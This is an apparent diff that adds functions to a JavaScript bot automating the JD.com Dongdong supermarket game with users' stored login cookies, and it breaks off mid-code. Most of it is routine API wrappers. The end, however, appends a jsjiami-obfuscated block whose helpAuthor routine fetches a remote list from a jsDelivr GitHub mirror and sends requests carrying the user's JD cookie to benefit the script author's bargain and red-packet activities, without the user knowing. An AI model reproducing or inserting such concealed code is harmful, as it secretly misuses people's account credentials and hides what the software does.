smtg_getPkPrize() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_getPkPrize'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_quitBusinessCircle() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_quitBusinessCircle'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//我的货架 +function smtg_shelfList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_shelfList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//检查某个货架可以上架的商品列表 +function smtg_shelfProductList(shelfId) { + return new Promise((resolve) => { + console.log(`开始检查货架[${shelfId}] 可上架产品`) + $.get(taskUrl('smtg_shelfProductList', { shelfId }), (err, resp, data) => { + try { + // console.log(`检查货架[${shelfId}] 可上架产品结果:${data}`) + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//升级商品 +function smtg_upgradeProduct(productId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeProduct', { productId }), (err, resp, data) => { + try { + // console.log(`升级商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级商品结果\n${data}`); + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁商品 +function smtg_unlockProduct(productId) { + return new Promise((resolve) => { + console.log(`开始解锁商品`) + $.get(taskUrl('smtg_unlockProduct', { productId }), (err, resp, data) => { + try { + // console.log(`解锁商品productId[${productId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//升级货架 +function smtg_upgradeShelf(shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeShelf', { shelfId }), (err, resp, data) => { + try { + // console.log(`升级货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级货架结果\n${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁货架 +function smtg_unlockShelf(shelfId) { + return new Promise((resolve) => { + console.log(`开始解锁货架`) + $.get(taskUrl('smtg_unlockShelf', { shelfId }), (err, resp, data) => { + try { + // console.log(`解锁货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_ground(productId, shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_ground', { productId, shelfId }), (err, resp, data) => { + try { + // console.log(`上架商品结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_productList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_productList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_lotteryIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_lotteryIndex', {"costType":1,"channel":1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_drawLottery() { + return new Promise(async (resolve) => { + await $.wait(1000); + $.get(taskUrl('smtg_drawLottery', {"costType":1,"channel":1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function sortSyData(a, b) { + return a['upgradeCostGold'] - b['upgradeCostGold'] +} +function sortTotalPriceGold(a, b) { + return a['previewTotalPriceGold'] - b['previewTotalPriceGold'] +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(resolve => { + console.log(`第${$.index}个京东账号的助力码:::${jdSuperMarketShareArr[$.index - 1]}`) + if (jdSuperMarketShareArr[$.index - 1]) { + newShareCodes = jdSuperMarketShareArr[$.index - 1].split('@'); + } else { + console.log(`由于您未提供与京京东账号相对应的shareCode,下面助力将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + console.log(`格式化后第${$.index}个京东账号的助力码${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + // console.log('\n开始获取东东超市配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`); + // console.log(`东东超市已改版,目前暂不用助力, 故无助力码`) + // console.log(`\n东东超市商圈助力码::${JSON.stringify(jdSuperMarketShareArr)}`); + // console.log(`您提供了${jdSuperMarketShareArr.length}个账号的助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getTeam() { + return new Promise(async resolve => { + $.getTeams = []; + $.get({url: `http://jd.turinglabs.net/api/v2/jd/supermarket/read/100000/`, timeout: 100000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} supermarket/read/ API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.getTeams = data && data['data']; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000); + resolve() + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=jdsupermarket&clientVersion=8.0.0&client=m&body=${escape(JSON.stringify(body))}&t=${Date.now()}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Cookie': cookie, + 'Referer': 'https://jdsupermarket.jd.com/game', + 'Origin': 'https://jdsupermarket.jd.com', + } + } +} +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +var _0xod8='jsjiami.com.v6',_0x36f8=[_0xod8,'w5nCv07DimXDomnCksKlDRNlOMKKJyvCtjzChMOhwrTCkcOawqwTEcOm','A8O3UMOGw7p1wrfClnIkHMOqVcOswqgEQcKschrCjA==','wqHCsMKqwq4FFsOkw4TCvcKmecKfFCTDhsO+UifCk2bChMK4TcKWSMKlwqPDucOWw4A=','WAbCo8KSwoAfI8OEw6zCu8OCS0xmGg0NP8OSDcKOwrtzLcOVFcOWw7nDiSXCoMKyw4puLsOawoYwBF43McObSmJv','H8Kaw7FNwq3DgMKYw47CvMKfw63DsQ==','w6XDssOow65JR8K3w5jCscKlZ8OkByfDjMK1TDXDnSbDjsO+U8ODFsO2wrfCscKOw50qwqtP','w70ywrbDjMOf','w6fCkyrCijk=','aMK0worCnsKaw4UKw4VXwpRm','W8KQw4DCslA=','w7jCkEDCjQc=','bcOYJCnCmA==','w4BNZsKZIBLCiCpfKMKnwp4=','LMO9TH5nw6ENSDTCo8OGWg==','wobDqg8FwowIw4zCn8O6C8KvRcKjPsO3w58ANMKZwoHCt0RKWTBBwp99wqdzQ8KUwpc=','wobDqg8FwowIw4zCn8O6C8KvRcKxYMOvw4ZbOcKLwovCvV1IXC5MwpN9w6g8DcOew5k=','w688w6RfIw==','JcO9cxdH','wr8AREDCoQ==','w7bCilTCucOj','wpXDoz7ChzLCtzrCicKuADhs','RMKCwrDDm8OVNDLChsO9RMO0ZQ==','LzxIKCJwwonCk8KBw47DkXs=','fsKBABbCh3c=','OFkALGAgcwdmOsKFKQ==','wqDDgsO6wrXDlsOg','JsKpwpDCmMKAwotAwph/woAyfsOjBMK4LcKsw41zMcO0wpHDrMOYJ0LCu8K+QHcqT8ODEw==','wrTDkcKEwrJa','w4s+w7fCh8Ke','Z21IQkk=','GnAww73CgsOIbMKbw6PCpBoJw7fDpcOmUsKJ','U3IRPMODVSl9MBfDjD/Ck3dgIU0owqdjZMKkQ8OKw5E1Fmx2wpnDh8K4Xh3CicKRE8KmY3DDhMKFDWwkwp1nXBUyJMKFVsK8w4fCiDQNQVrDn0hfbibCijTDiTTDnMOSecKawozDsMKgw4J/GX1OcyxZXg4OLcKcwpAIw4EywqzDuxjCpgzDhirCnMOTwoBhw73Dl1wywobCoC/ClWc8wrZow6nDo8OlOcKgMsO0GsOCPMOxw6DDuQLDicOmwofDtsKtwpvDg8OgEgNEwqvDgMKhTcOUKcOYw4l4YcKdEcKbbkrDlsKzVkzDk1o+MMOzwoVXeMKoHsKrJ8ONWhfCisKif0ANwrrCg8KOw5dYNMOeJMO3wpNzw5AVZV3Di8Kcw7BjwqRqWFbDo8KOEUPDlHXDisO/Tx7CoMKswpTDgcOIdTbChcK3w4sjwq1NbsOlw6DDnC/DrVQmT8KGw5VowobDhsOeUx3CusKwwo4LLjnDkn3DpcOcQy5Ow4JhVUnDgjhhwpTDrkVjwprCs8KFwrzDicKTMhHDiGd/aHMTKMKVw5XDtMO+f2TCuFk=','woQeUDjDtQHDlcO/w5ZxwozChm5Ba3Rcw6IeE0l7Hn19CsK5FCDCg8KcB8KsMsK8TjENaMOyDsKZwqPDjsORwq/DinLDtjMWBsOkwr9Uw514PsOkTl4Pw73DkUzDiGZMwr3ChXTCmcKx','wrIMXG7CtlfCrwk7w5IaKA49CC81w7oJUCXCk8OSw50QHsKpw7UHw5LCg0bChRfDtsOew5XCk8ODwr8ew7x9wprDgsO8','BMOew5zColA7wr1zVm7DqMOQwrskO8KIw6IqwrkOdcKVFcKLw4xlwo7ChTDCl2bCicOTBSA2RsOgQ8KQ','DmI2w73Dp8KM','wpTCssOrwpLCs8K4wqQAw4BTRmrDunEJwpZpZkPClsOQwozCo8OhZcOkw7/Dp8KeOT7DlMK5J3LDgcKHGsOrwoI/QsK2w6rCtg==','A8OodARE','w4DCq8Ovw5ExcQ==','Mz3CtcKUwqU=','AihJBSU=','TMOAwqs8','J8KuwqrCh8KXw5Q=','NFk0','w7sYw64=','wqjDiiPCthLCnwPCucKfORlZGg==','IBA+w6Ul','wo0+SkLDmQDCncOAOGF8w6NE','KHrDlcOHHMKxesOXfxbDi8Oiw7M=','w7A6wr8=','b8K+cXNvwps=','wosPUA==','IyMzw70=','wqzDnBfCoGonOC4jScOfwrHCsDpoU8Oxw57Cq8KMw63DhMOELnfCnsO8bMK+w5rCjkPCpMKawr3DmQZ8H8OJVcKZw7nClSDDk8K6K17DhT1cwqrCvcKpG8KuHsO9w6Ngwp4yw7PCuBPCnMOJWcO8wq4dW8KPw5LDvsOlw4RZw6fDoQ==','wpbCr8K7wqVSFUfChMOkwqDCuFfDnzdzFgwmw6/DhsKbR8K6fcKpwp3CriY0UMK6cw==','wqHDv8KvwpZY','LiZ+OSMtw4fDlcKdw4bDiDLCrMKCw6DCsknDvGzDpjTCg8OnNDpvT8Ofw6VOw7Jcw7zCqwFcZHjCnSMkw7BJWMOOw6drbyBPdWDCjz8WNjUMwrzDhkN6AhAPw5fDvcKKBsKJZMODw5HDocKoQzIPwodLwrxUQGFoZAM=','wpDDgUsVcw==','wrfDpyzCsEs=','w5IsDgLCmnbCj8OAKBA6wqIAwovClUMgM8OHQFs1OsKKwq4QP8KSUjh7w7I=','esKkw4HCmF8=','wqfCk3XDn2Q=','w7MPw4vCtcKsw7hzw4LChgQ=','wo4Oc1rCpQ==','PsOlRCJvwoYD','WG/CnsO2Exh0','QcKJwpzDncOTOw==','wqnDkTDCuHhvckgkXg==','woHDgTzCnn0=','w6zDtsOsw7JTHsO5woPCt8K6bMKlHzHDh8KrAXbDgibDgsKnFsOXFsO+wqrCusKMwpdkwqoGFlg=','YMKLBRXCingWb8O1V8O0OAELwrcvDEHCusKIwr7DlQHDi8OGdzLCucOXwoB5wpvDuMOzc3XCnCXCnMK0wrLCksKQw5nCl8Kuw4PCusOuU1DDpEXDkcK8IgFnYcOCw5UAIW7Ck8KYw7PDmgfCv8Obwr/CozZ+McOQw4XCm1lywqMtwrVnGishw63DjxbCpMOpwqwgW8O5OcKtwoLCkMKjwqkfT8Ouw6BZOsKdIg3DrcOdwqDDikfDl8KhCcKkJmnDjsODPkDCikrCrAfDksOGw4BHw4/Dt8KxwqvDuCV/w5kywpvCq8KXwpbDrMKnw69GKC4vCiNlY8K8w73DscKBwp/DoURWwpvDu2HCklXDkCHClcO/w6jDqsOfLMO1w6cqwr4AG8Kaam7Cr8Kja8K5QBFIScKdwq4gMsKiw6wfPQRJaAXCljbDgcKKFcOcMnLDlDQDwpclw4zCiArCkmh5w5UUw7/CmFnDjMOkwqJIA8O4aybCh8KjBwjCqkcVw73DnSgBAFfDksKew4BTwpJcw6zDvcKrFAtpVMO2wpdcwrHDow0JHAUrAWXDvxbCml5lw7vDn8OewqQKWcObw743w65dS8K0SMOnJMKcA8Ogw7R8ZsOVPMOJwqdHV8KYECXCjMOxwp8VE8K7w45BwpLDm8KLw4fDhMKLF1TDksK4w73CvsKXw4gSPgTDjcOhwrDDhcKQwoDCm8O2wpzDgRVsJUwBwqjDsSvCnjvCrWQtA8KjXsOXwqAJDWTChcKhw5cywrs1bxl8EzdAIRVowq7Cu8ONwrLDvsKAwoxfw5Z/wpR6wrViwrUpRMOgWsKFw7nDvMKSw5YrCkpYDj5pRsOuwrA3w5vDqW7DrxvDonfCqMOtwpjDpjI0fjQdSkrCpcOvw6xYw5nDsMO9wq7CuGJiVcKiYMKgwojDmzBkwqgDwpoRwpLCisOVKS/CqVvCoMKxwrw5f0ROHXBPDQLCj39Cw5I0w7PCi8OGDcODI1jDpsOBw7/DmcKCw7rDscKIwrvCjcO7R3k0w7d6wpcnegrDg8KJwqogPcKvNRlHw7LDnAvDtm3CkcKfasOnRybClcOfAMONEyl6w6rChkDDlU4jw6XCnMKfwovDng80bsKFw6JTL0MpCcKRw5kuwq5yw5cgwpzCpkYBQsK+wqLCsMKrSMKTEMOTDsOnw5jDghTCiUk/dcKmw7svwrTDsS8nw7gbwpvCicOWVsKaBcOSw7w3w7/DoxnCninCk8KGT8KEKB3DksKbwr1VbjZSw6/Cu8OFw6V+wp/DkMO/Q8KoUsOHwoE/w6bCm3lNMMK4wo7DocKaw58ew7TChTPDusKmw6PDkydqVS3DsWF1LxNyQMK7DF7DkwjCnjNlJRzDuMOFVSnCixPCp2t3w5/Cv2EcSRzDpBcJwq3Cl10AwovCnDTDpMKKDcOVw4cuG8OGwr8KVVMFw6LDssKPw7UvwoHDksOQRMKTRyZpwqhuwrcpbC8zUwsqesOew4rCokPCm3NXI8OLwo0SwprDplVeX8OMwqnDkE/Dvi4qw6cRw7TCkzrCpmDDiVMowrEnTlHCmxrChcK2w5QPw6ItdMK4wpPDj8ODwrbDnMKtw7EvdzJ0ZcOWPMO+w67Cm8O1wooww7zCjQ/CqsO1w4EuWcOkd8KFwohRwrDCmXQ1ccKmwqoYw4Q5w6hQw5NxwqsyYFjDjQ7ChCtJw7nCizI2w6rCvD/Cjw==','w6E/wo7Dtw==','wpLDl8Kuw7Ffw57DrsKhwpPCicOYAw==','wqIUwrlGwqE=','wqMPTWPDjw==','EUosE8Kh','dcOYwp0CwqY=','wq3CqsK4','wqXDixfCmX0=','wp7Dlwk7wqs=','S8KQw4DCtFs9w45/XmzCq8Kew6tpecKMw6cpwrwHdMKWEMKGw5Fmw4XDkG/ChnXDlMKLRGBZTMKnDcOHw6VWah83bEocw4jDt8KEWQtqC2fCjiErwrggwo45ZsKKCk4sAMOtX8Kdw4fCusKpwpXDt8Kbw6BnH8OBwrYgU8ONwoHDgxbCgXDCt10GX8ODw7V+w6XDjmpzw43DhcKBbMKNPsO/DMKlwqJRw4rDg2s+wrrCgMKvwpxNesKFOMOJwp4Lw6rCn2nDgSl8wp3DsUrCuiETwq/DsMKxwrfCkEPCpyrCi8OhLEnDnn8+TzDCjVIEwocHeUnCtcOBURpzX3J0wo3CvQQvZsKPw7lf','w4DCisOjw7U2','wqXDt1o+b8KpXcOBwq8=','w5XDk8O6','aMKCwpDDlQ==','w55tw6vCg8Olw7rDjMKSw6zDkMOFwo9kJ3QtHsK6wqVpw7TCrD5Cw6U=','UWIEPMOAVG8CKhnDlXTDjyc6fRZ6w6khNcO4E8KewoQvFnZ1w5jDlsK8HEXCh8KeDsOoUlDDrMK1R3giwphzTQ4lBMKhR8KhwoTCgAUfTBDCnVxEZzTCrQHDmjrDgcKYOsKOwobDuMK0w5pVJ3JSLjIIQA4E','wqTDk8OgwqLCmMKnLyAzwpPCoU7Du1thwqV0w6/DocONwpnCtXUmwpN6A0N0wqPDqF9iwqROwr3DoMOAV8O+wq/Cp8OwNnMDRmrCq8OLwq09w5Row57CumbDow0=','wrPDpinCmkY=','X8OuOyvCmQ==','w63DrMOuw6tUQcKk','dUvDisO7wqU=','CgHCosK0wqQ=','w4xrw5PCqcOB','woJpw6/CvGM=','LsKiw7AhwpQ=','VW9cw7LDgDM1Jw==','wovDvxEOwpED','wrcWVmjCjlfCsxM=','R05xSEo=','wrhrw54Yf1cVbcOaOmjDjMKa','wq5lw783Vw==','w5nCujPCujzDhkBgDsKlw4VGecOowoTCrsOTUcOhKnwD','w4DCl8OpQR4=','w70jwpLDssO8','w4FXUMKIIU/DhmwHcMOxwovDtMOYeE9BfHnCoVVKPxrDqhLCtQ==','w5s7wpxuAg==','wrHDnzbCoxk=','wpzDs8KEwp1e','w4PCpMOeXx8=','WWbCkcOgGTw=','ecOROQ==','w5DDpMOqwpHCpcOww5tGw4IBFWbCtSJFwpErbEnClcKLwo7CssO8PsKhw6jDosKYMhnDhMOSLXDDl8KAJ8Ogw5tLAsOwwqHDqkJ8wpYRw4jDl8OaCQ3DslDDuMOmC8ORVwcTTyXDgDvDocKyGEIeRMO/OMKwCAZB','LPDjRsjqiINamrdEOitU.Kcom.v6=='];(function(_0x497a88,_0x40c323,_0x5cbc6c){var _0x31af80=function(_0x4bb9ea,_0x4e1a0e,_0x34c747,_0x560f7d,_0x8aad0c){_0x4e1a0e=_0x4e1a0e>>0x8,_0x8aad0c='po';var _0x2b6dc7='shift',_0x260b31='push';if(_0x4e1a0e<_0x4bb9ea){while(--_0x4bb9ea){_0x560f7d=_0x497a88[_0x2b6dc7]();if(_0x4e1a0e===_0x4bb9ea){_0x4e1a0e=_0x560f7d;_0x34c747=_0x497a88[_0x8aad0c+'p']();}else if(_0x4e1a0e&&_0x34c747['replace'](/[LPDRqINrdEOtUK=]/g,'')===_0x4e1a0e){_0x497a88[_0x260b31](_0x560f7d);}}_0x497a88[_0x260b31](_0x497a88[_0x2b6dc7]());}return 0x8c0f7;};return _0x31af80(++_0x40c323,_0x5cbc6c)>>_0x40c323^_0x5cbc6c;}(_0x36f8,0x1cd,0x1cd00));var _0x2e68=function(_0x416ea4,_0x539269){_0x416ea4=~~'0x'['concat'](_0x416ea4);var _0x2f56b2=_0x36f8[_0x416ea4];if(_0x2e68['mfRnyl']===undefined){(function(){var _0x211d66=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x66d59f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x211d66['atob']||(_0x211d66['atob']=function(_0xbaa77c){var _0x19a6c3=String(_0xbaa77c)['replace'](/=+$/,'');for(var _0x549f51=0x0,_0x2dbc69,_0x4230db,_0x4dc579=0x0,_0x529f3b='';_0x4230db=_0x19a6c3['charAt'](_0x4dc579++);~_0x4230db&&(_0x2dbc69=_0x549f51%0x4?_0x2dbc69*0x40+_0x4230db:_0x4230db,_0x549f51++%0x4)?_0x529f3b+=String['fromCharCode'](0xff&_0x2dbc69>>(-0x2*_0x549f51&0x6)):0x0){_0x4230db=_0x66d59f['indexOf'](_0x4230db);}return _0x529f3b;});}());var _0x1b2bd0=function(_0x2fdb6b,_0x539269){var _0x2dc680=[],_0x3733ce=0x0,_0x3e313e,_0x45196b='',_0x1c8830='';_0x2fdb6b=atob(_0x2fdb6b);for(var _0x5acf8e=0x0,_0x4b7568=_0x2fdb6b['length'];_0x5acf8e<_0x4b7568;_0x5acf8e++){_0x1c8830+='%'+('00'+_0x2fdb6b['charCodeAt'](_0x5acf8e)['toString'](0x10))['slice'](-0x2);}_0x2fdb6b=decodeURIComponent(_0x1c8830);for(var _0x45c152=0x0;_0x45c152<0x100;_0x45c152++){_0x2dc680[_0x45c152]=_0x45c152;}for(_0x45c152=0x0;_0x45c152<0x100;_0x45c152++){_0x3733ce=(_0x3733ce+_0x2dc680[_0x45c152]+_0x539269['charCodeAt'](_0x45c152%_0x539269['length']))%0x100;_0x3e313e=_0x2dc680[_0x45c152];_0x2dc680[_0x45c152]=_0x2dc680[_0x3733ce];_0x2dc680[_0x3733ce]=_0x3e313e;}_0x45c152=0x0;_0x3733ce=0x0;for(var _0x20cd19=0x0;_0x20cd19<_0x2fdb6b['length'];_0x20cd19++){_0x45c152=(_0x45c152+0x1)%0x100;_0x3733ce=(_0x3733ce+_0x2dc680[_0x45c152])%0x100;_0x3e313e=_0x2dc680[_0x45c152];_0x2dc680[_0x45c152]=_0x2dc680[_0x3733ce];_0x2dc680[_0x3733ce]=_0x3e313e;_0x45196b+=String['fromCharCode'](_0x2fdb6b['charCodeAt'](_0x20cd19)^_0x2dc680[(_0x2dc680[_0x45c152]+_0x2dc680[_0x3733ce])%0x100]);}return _0x45196b;};_0x2e68['tYNipz']=_0x1b2bd0;_0x2e68['FZiWCB']={};_0x2e68['mfRnyl']=!![];}var _0xdd77e0=_0x2e68['FZiWCB'][_0x416ea4];if(_0xdd77e0===undefined){if(_0x2e68['YrRHkM']===undefined){_0x2e68['YrRHkM']=!![];}_0x2f56b2=_0x2e68['tYNipz'](_0x2f56b2,_0x539269);_0x2e68['FZiWCB'][_0x416ea4]=_0x2f56b2;}else{_0x2f56b2=_0xdd77e0;}return _0x2f56b2;};function getRandomArrayElements(_0x455952,_0x3426be){var _0x1515be={'ekGdP':function(_0x4eea5a,_0x5bf9e7){return _0x4eea5a-_0x5bf9e7;},'xpjNj':function(_0x1a3cad,_0x5b3004){return _0x1a3cad+_0x5b3004;}};let _0x48f7d7=_0x455952[_0x2e68('0','gcEx')](0x0),_0x50a30a=_0x455952['length'],_0x248c18=_0x1515be[_0x2e68('1','THJ&')](_0x50a30a,_0x3426be),_0x44e24d,_0x1fc998;while(_0x50a30a-->_0x248c18){_0x1fc998=Math['floor'](_0x1515be['xpjNj'](_0x50a30a,0x1)*Math['random']());_0x44e24d=_0x48f7d7[_0x1fc998];_0x48f7d7[_0x1fc998]=_0x48f7d7[_0x50a30a];_0x48f7d7[_0x50a30a]=_0x44e24d;}return _0x48f7d7[_0x2e68('2','!8Uv')](_0x248c18);}async function helpAuthor(){var _0x4cd14c={'hpVGM':'https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_barGain.json','kyvMc':_0x2e68('3','$Ni3'),'ZGgUT':function(_0x3c511f,_0x3727b9,_0x142178){return _0x3c511f(_0x3727b9,_0x142178);},'WfjUY':function(_0x23a12a,_0x4dc817){return _0x23a12a>_0x4dc817;},'GvCmh':_0x2e68('4','[OPZ'),'UHoZS':_0x2e68('5','tcb!'),'sgkOe':'https://h5.m.jd.com','TVboK':_0x2e68('6','tcb!'),'StsFk':_0x2e68('7','!J!%')};let _0xaef090=await getAuthorShareCode2(_0x4cd14c[_0x2e68('8','[OPZ')]),_0x25b6c5=[];$['inBargaining']=[..._0xaef090&&_0xaef090[_0x4cd14c[_0x2e68('9','0&d]')]]||[],..._0x25b6c5&&_0x25b6c5[_0x4cd14c[_0x2e68('a','B63n')]]||[]];$[_0x2e68('b','^rQC')]=_0x4cd14c['ZGgUT'](getRandomArrayElements,$[_0x2e68('c','7h&V')],_0x4cd14c['WfjUY']($[_0x2e68('d','oxIm')][_0x2e68('e','uMQ#')],0x3)?0x6:$[_0x2e68('f','WNIn')][_0x2e68('10','*^Sz')]);for(let _0x41d51a of $[_0x2e68('f','WNIn')]){const _0x49d081={'url':_0x2e68('11','Opjc'),'headers':{'Host':_0x4cd14c[_0x2e68('12','Vhx!')],'Content-Type':_0x4cd14c[_0x2e68('13','yTHr')],'Origin':_0x4cd14c[_0x2e68('14','XAWK')],'Accept-Encoding':_0x2e68('15','7G1F'),'Cookie':cookie,'Connection':'keep-alive','Accept':_0x4cd14c['TVboK'],'User-Agent':_0x2e68('16','fxE9'),'Referer':_0x2e68('17','a30X'),'Accept-Language':_0x4cd14c['StsFk']},'body':_0x2e68('18','0&d]')+_0x41d51a['activityId']+_0x2e68('19','gcEx')+_0x41d51a[_0x2e68('1a','7G1F')]+_0x2e68('1b',']a7e')};await $['post'](_0x49d081,(_0x29f899,_0x4850a3,_0x2444d7)=>{});}await helpOpenRedPacket();await aaa();}function getAuthorShareCode2(_0x424d7e){var _0x24ce01={'MZfvL':function(_0x443fc8,_0x4a95bd){return _0x443fc8!==_0x4a95bd;},'DzCLu':_0x2e68('1c','[OPZ'),'tRdln':_0x2e68('1d','dzsc'),'UPHHU':function(_0x224d90,_0x575bb6){return _0x224d90*_0x575bb6;}};return new Promise(async _0x46e600=>{if(_0x24ce01[_0x2e68('1e','fYl9')](_0x24ce01['DzCLu'],_0x24ce01[_0x2e68('1f','oxIm')])){$[_0x2e68('20','5)7E')](options,(_0x53bad2,_0x5e1290,_0x5a2310)=>{_0x46e600();});}else{const _0x1a6d03={'url':_0x424d7e+'?'+new Date(),'timeout':0x2710,'headers':{'User-Agent':'Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2013_2_3\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Version/13.0.3\x20Mobile/15E148\x20Safari/604.1\x20Edg/87.0.4280.88'}};if($[_0x2e68('21','Opjc')]()&&process[_0x2e68('22','WNIn')]['TG_PROXY_HOST']&&process[_0x2e68('23','yTHr')][_0x2e68('24','^rQC')]){const _0x4fb211=require(_0x24ce01[_0x2e68('25','y1zc')]);const 